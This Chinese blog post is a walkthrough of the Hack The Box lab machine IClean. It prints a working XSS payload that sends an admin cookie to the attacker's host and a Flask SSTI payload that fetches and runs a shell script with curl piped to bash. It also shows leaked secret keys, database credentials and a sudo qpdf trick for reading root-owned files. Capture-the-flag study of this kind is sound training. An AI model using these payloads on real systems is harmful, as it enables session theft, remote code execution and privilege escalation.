hackthebox IClean

hackthebox IClean

今天出来了个新靶机搞来看看

每日一更 hackthebox 系列

总结一下: 新出的机器 弄了一下午 坑比较多

nmap 信息收集 写hosts-> 访问网站找到交互点->xss反弹admin  Cookie -> 利用admin Cookie 找到存在漏洞点->关于flask的SSTI注入->尝试注入->反弹shell->找到数据库密码->cmd5破解密码->ssh登录->get user flag -> qpdf 越权查看root.txt

攻击:10.10.14.18

靶机:10.10.11.12

老规矩先扫描

nmap -A -Pn 10.10.11.12

访问一下 80 端口

写 hosts 文件

echo "10.10.11.12    capiclean.htb" >> /etc/hosts

用插件看下这个网站 whatweb 也可

到处找找版本信息 他有个login 界面 进来以后在插件能看到 2.3.7

或者用nmap扫描版本信息

nmap -A -Pn 10.10.11.12 -sV -p80

flask 找不到相关的exp  再找找网站交互

目录扫描也没扫到啥

在主页上转转看到这个 这个地方也可以交互 

随便发个消息看看

翻译一下

存储型XSS?试试!

调试了好久 payload

最终的payload为:

service=<img src=x onerror=this.src="http://10.10.14.18:99/"%2bdocument.cookie>&email=1@q.com

终于弹回来了

利用这个Cookie 登录一下试试

利用Cookie访问这个/dashboard  仪表盘试试

进来了

太不方便了 每次弄个包都要用burp加个Cookie 所以 下载个小插件

我下载的这个

像这样设置下:

然后就可以方便一点访问了

这里有个生成订单的页面 摸索了半天 就这个地方比较有意思

生成以后会回显一串数字

然后用这个数字去查询

输入正确的号码他查到就会有这样的界面

大概意思是让我插入Url

但是没懂他这个提示啥意思  发现 他会生成二维码 扫描二维码 解析链接 是一个html页面  

多刷新几次 看了下 这个页面别的都会变 唯独这个账单信息是不会变得 上面别的信息都会变

尝试堆叠注入 无果-_-

发现一个突破点 flask 生成随机页面 让我想起来一个远古的东西 (因为是很久之前了解到的 现在突然想起来了) 关于flask的SSTI注入 赶紧恶补一下

漏洞详情

发现存在这个漏洞在这里 输入123  如下图所示 但是如果输入 {{7*7}}

他是这样的 说明存在这个洞 

了解了漏洞原理 确定漏洞存在赶紧看看这个相关的payload

测试:{{ config.items() }}

读取系统环境变量

芜湖!!!!

<img src="data:image/png;base64,dict_items([(&#39;DEBUG&#39;, False),
 (&#39;TESTING&#39;, False), 
(&#39;PROPAGATE_EXCEPTIONS&#39;, None), 
(&#39;SECRET_KEY&#39;,&#39;ppmpugwusjanbxsdpflhbvghmdexyefqrkfhlxeczapinobduomkvjfvjnyzqeoc&#39;), 
(&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(days=31)), 
(&#39;USE_X_SENDFILE&#39;, False), (&#39;SERVER_NAME&#39;, None), 
(&#39;APPLICATION_ROOT&#39;, &#39;/&#39;), (&#39;SESSION_COOKIE_NAME&#39;, 
&#39;session&#39;), (&#39;SESSION_COOKIE_DOMAIN&#39;, None), 
(&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_HTTPONLY&#39;, False), 
(&#39;SESSION_COOKIE_SECURE&#39;, False), (&#39;SESSION_COOKIE_SAMESITE&#39;, None), 
(&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True), (&#39;MAX_CONTENT_LENGTH&#39;, None), 
(&#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, None), (&#39;TRAP_BAD_REQUEST_ERRORS&#39;, None), 
(&#39;TRAP_HTTP_EXCEPTIONS&#39;, False), (&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), 
(&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;TEMPLATES_AUTO_RELOAD&#39;, None), 
(&#39;MAX_COOKIE_SIZE&#39;, 4093)])" alt="QR Code">

 又是一阵摸索+恶补这个漏洞相关payload 还得是GPT 

最终payload

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl+10.10.14.18:8000/x.sh+|+bash")|attr("read")()}}

准备好反弹shell的脚本

开启 web 服务 和 监听

成功了!!!!!!!!芜湖!!!!!!!!!

拿到shell 熟悉的套路 先看看 app.py

找到数据库密码 交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

db_config = {     'host': '127.0.0.1',     'user': 'iclean',     'password': 'pxCsmnGLckUb',     'database': 'capiclean' }

看到这个用户 家目录是有这个用户的 所以 猜测密码复用

hashcat 破解 john 都破解不开 好无语

这三个字段

consuela

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

 ee11cbb19052e40b07aac0ca060c23ee          

这里我感觉没啥错啊 他就是sha256加密一下 没加盐啥的啊 那这个密码就应该能破开啊
 

自己写的python 破解也不行  工具也不行 所有的字典都试过了 奇怪了

按理说就是这个东西啊

他的代码

密码就是这样验证

password = hashlib.sha256(request.form['password'].encode()).hexdigest()

# 验证用户名和密码
cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))

回头看看别的文件吧 

find / -type f -exec grep -l "consuela" {} + 2>/dev/null

有个邮件 我看看

PDF文件 发票 

找到一个pdf去看看

翻译过来这个地方的名字叫共享我的信息规范  

enmmmm

strings /usr/share/doc/shared-mime-info/shared-mime-info-spec.pdf 我也下载了

最后实在没办法了 想到最后一个提权方式 内核提权

之前的命令看到了 他的u+s 有su 命令 所以 这是我最后的希望了

系统版本有提权漏洞

编译完成 现在需要把他传上去 

直接curl -O 

但是还是不行

最后看到

/usr/bin/pkexec 

这个东西

好像也能提权

也不行

离谱每个u+s 都有提权的漏洞 踩坑

最后还是解密cmd5 充了100大洋

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

这个密码在kali内置的字典当中是没有的 气死了这100大洋花的 真生气

simple and clean

登录上了

终于获取到了:

user flag

提权呗 然后就是

sudo -l

能运行的就是这个 qpdf 这个文件呗

运行 qpdf — QPDF 11.9.0 文档

结合GPT的解释 加上他官方的文档 自己摸索一阵

sudo /usr/bin/qpdf --empty ./root.txt --qdf --add-attachment /root/root.txt --
  • /usr/bin/qpdf:指定了 qpdf 命令的路径。
  • --empty /tmp/root.txt:创建一个空的 PDF 文件,文件路径为 /tmp/root.txt
  • --qdf:使用 QDF 格式创建 PDF 文件。
  • --add-attachment /root/root.txt:将 /root/root.txt 文件作为附件添加到创建的 PDF 文件中。

综上所述,这个命令的作用是创建一个空的 PDF 文件,并将 /root/root.txt 文件作为附件添加到该 PDF 文件中。

然后这个 去看root.txt

get root flag

完结撒花

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值